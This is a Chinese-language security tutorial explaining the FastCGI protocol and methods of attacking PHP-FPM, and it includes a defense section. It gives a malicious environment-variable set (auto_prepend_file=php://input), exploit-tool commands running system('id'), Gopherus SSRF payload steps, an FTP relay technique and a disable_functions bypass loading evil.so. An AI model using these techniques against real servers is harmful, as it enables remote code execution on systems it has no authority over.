Fastcgi 协议分析与 PHP-FPM 攻击方法
字数 1611 2025-08-05 11:39:33

FastCGI协议分析与PHP-FPM攻击方法详解

一、CGI与FastCGI基础

1. CGI (Common Gateway Interface)

  • 定义:Web服务器与外部应用程序之间的通信接口标准
  • 工作原理
    • Web服务器收到动态请求时fork新进程启动CGI程序
    • CGI程序处理完成后进程关闭
  • 缺点:每次请求都需要创建/销毁进程,效率低下

2. FastCGI (Fast Common Gateway Interface)

  • 改进点:保持进程常驻,减少进程创建销毁开销
  • 优势
    • 高性能:进程复用
    • 语言无关:可用于多种后端语言
    • 可扩展:支持分布式部署

二、FastCGI协议分析

1. FastCGI Record结构

typedef struct {
  /* Header (8字节) */
  unsigned char version;    // 协议版本
  unsigned char type;       // 消息类型
  unsigned char requestIdB1; // 请求ID高字节
  unsigned char requestIdB0; // 请求ID低字节
  unsigned char contentLengthB1; // 内容长度高字节
  unsigned char contentLengthB0; // 内容长度低字节
  unsigned char paddingLength;  // 填充长度
  unsigned char reserved;     // 保留
  
  /* Body */
  unsigned char contentData[contentLength]; // 内容数据
  unsigned char paddingData[paddingLength];  // 填充数据
} FCGI_Record;

2. 关键消息类型(Type)

类型值 含义
1 开始请求
2 异常终止
3 正常结束
4 传递环境变量
5 POST数据
6 正常响应
7 错误响应

3. 环境变量结构

  • 根据name/value长度不同有4种变体:
    • FCGI_NameValuePair11 (name≤128B, value≤128B)
    • FCGI_NameValuePair14 (name≤128B, value>128B)
    • FCGI_NameValuePair41 (name>128B, value≤128B)
    • FCGI_NameValuePair44 (name>128B, value>128B)

三、PHP-FPM工作机制

1. PHP-FPM架构

  • Master进程:管理worker进程,与Web服务器通信
  • Worker进程:实际执行PHP代码

2. 请求处理流程

  1. Web服务器(Nginx/Apache)将请求转换为FastCGI格式
  2. 通过TCP/Unix Socket发送给PHP-FPM
  3. PHP-FPM解析环境变量(如SCRIPT_FILENAME)
  4. 执行指定PHP文件并返回结果

四、PHP-FPM攻击方法

1. 未授权访问漏洞

  • 前提条件:PHP-FPM监听在0.0.0.0或可被外部访问
  • 攻击原理:伪造Web服务器直接与PHP-FPM通信

攻击步骤:

  1. 构造恶意环境变量:
    {
      'GATEWAY_INTERFACE': 'FastCGI/1.0',
      'REQUEST_METHOD': 'POST',
      'SCRIPT_FILENAME': '/var/www/html/index.php',
      'PHP_VALUE': 'auto_prepend_file = php://input',
      'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    
  2. 通过FastCGI协议发送恶意请求
  3. 在Body中放置PHP代码

2. 利用工具

a. fcgi_exp.go

./fcgi_exp system 目标IP 9000 /var/www/html/index.php "id"

b. phith0n的fpm.py

python fpm.py 目标IP /var/www/html/index.php -c "<?php system('id'); ?>"

3. SSRF攻击PHP-FPM

当PHP-FPM仅监听127.0.0.1时,通过SSRF漏洞间接攻击

a. 使用Gopherus生成payload

python gopherus.py --exploit fastcgi
/var/www/html/index.php
id

b. 二次URL编码后通过SSRF发送

4. FTP协议中转攻击

通过FTP被动模式将payload重定向到PHP-FPM

攻击流程:

  1. 搭建恶意FTP服务器
  2. 第一次连接返回payload
  3. 第二次连接重定向到127.0.0.1:9000
  4. 触发PHP-FPM执行代码

5. 绕过disable_functions

通过加载恶意.so扩展实现RCE

关键PHP配置:

$php_value = "unserialize_callback_func = system
extension_dir = /tmp
extension = evil.so
disable_classes = 
disable_functions = 
allow_url_include = On
open_basedir = /";

五、防御措施

  1. 限制PHP-FPM监听范围(仅127.0.0.1或Unix Socket)
  2. 设置security.limit_extensions限制可执行文件类型
  3. 及时更新PHP版本
  4. 网络隔离,防止未授权访问
  5. 监控异常FastCGI请求

六、环境搭建示例

1. 安装Nginx和PHP-FPM

sudo apt-get install nginx php-fpm php-mysql

2. 配置PHP-FPM

编辑/etc/php/7.4/fpm/pool.d/www.conf:

listen = 127.0.0.1:9000  # 避免监听0.0.0.0

3. 配置Nginx

编辑/etc/nginx/sites-available/default:

location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    include fastcgi_params;
}

七、相关资源

  1. PHP-FPM官方文档
  2. FastCGI协议规范
  3. Gopherus工具
  4. fcgi_exp工具
FastCGI协议分析与PHP-FPM攻击方法详解 一、CGI与FastCGI基础 1. CGI (Common Gateway Interface) 定义 :Web服务器与外部应用程序之间的通信接口标准 工作原理 : Web服务器收到动态请求时fork新进程启动CGI程序 CGI程序处理完成后进程关闭 缺点 :每次请求都需要创建/销毁进程,效率低下 2. FastCGI (Fast Common Gateway Interface) 改进点 :保持进程常驻,减少进程创建销毁开销 优势 : 高性能:进程复用 语言无关:可用于多种后端语言 可扩展:支持分布式部署 二、FastCGI协议分析 1. FastCGI Record结构 2. 关键消息类型(Type) | 类型值 | 含义 | |--------|------| | 1 | 开始请求 | | 2 | 异常终止 | | 3 | 正常结束 | | 4 | 传递环境变量 | | 5 | POST数据 | | 6 | 正常响应 | | 7 | 错误响应 | 3. 环境变量结构 根据name/value长度不同有4种变体: FCGI_ NameValuePair11 (name≤128B, value≤128B) FCGI_ NameValuePair14 (name≤128B, value>128B) FCGI_ NameValuePair41 (name>128B, value≤128B) FCGI_ NameValuePair44 (name>128B, value>128B) 三、PHP-FPM工作机制 1. PHP-FPM架构 Master进程 :管理worker进程,与Web服务器通信 Worker进程 :实际执行PHP代码 2. 请求处理流程 Web服务器(Nginx/Apache)将请求转换为FastCGI格式 通过TCP/Unix Socket发送给PHP-FPM PHP-FPM解析环境变量(如SCRIPT_ FILENAME) 执行指定PHP文件并返回结果 四、PHP-FPM攻击方法 1. 未授权访问漏洞 前提条件 :PHP-FPM监听在0.0.0.0或可被外部访问 攻击原理 :伪造Web服务器直接与PHP-FPM通信 攻击步骤: 构造恶意环境变量: 通过FastCGI协议发送恶意请求 在Body中放置PHP代码 2. 利用工具 a. fcgi_ exp.go b. phith0n的fpm.py 3. SSRF攻击PHP-FPM 当PHP-FPM仅监听127.0.0.1时,通过SSRF漏洞间接攻击 a. 使用Gopherus生成payload b. 二次URL编码后通过SSRF发送 4. FTP协议中转攻击 通过FTP被动模式将payload重定向到PHP-FPM 攻击流程: 搭建恶意FTP服务器 第一次连接返回payload 第二次连接重定向到127.0.0.1:9000 触发PHP-FPM执行代码 5. 绕过disable_ functions 通过加载恶意.so扩展实现RCE 关键PHP配置: 五、防御措施 限制PHP-FPM监听范围(仅127.0.0.1或Unix Socket) 设置security.limit_ extensions限制可执行文件类型 及时更新PHP版本 网络隔离,防止未授权访问 监控异常FastCGI请求 六、环境搭建示例 1. 安装Nginx和PHP-FPM 2. 配置PHP-FPM 编辑 /etc/php/7.4/fpm/pool.d/www.conf : 3. 配置Nginx 编辑 /etc/nginx/sites-available/default : 七、相关资源 PHP-FPM官方文档 FastCGI协议规范 Gopherus工具 fcgi_ exp工具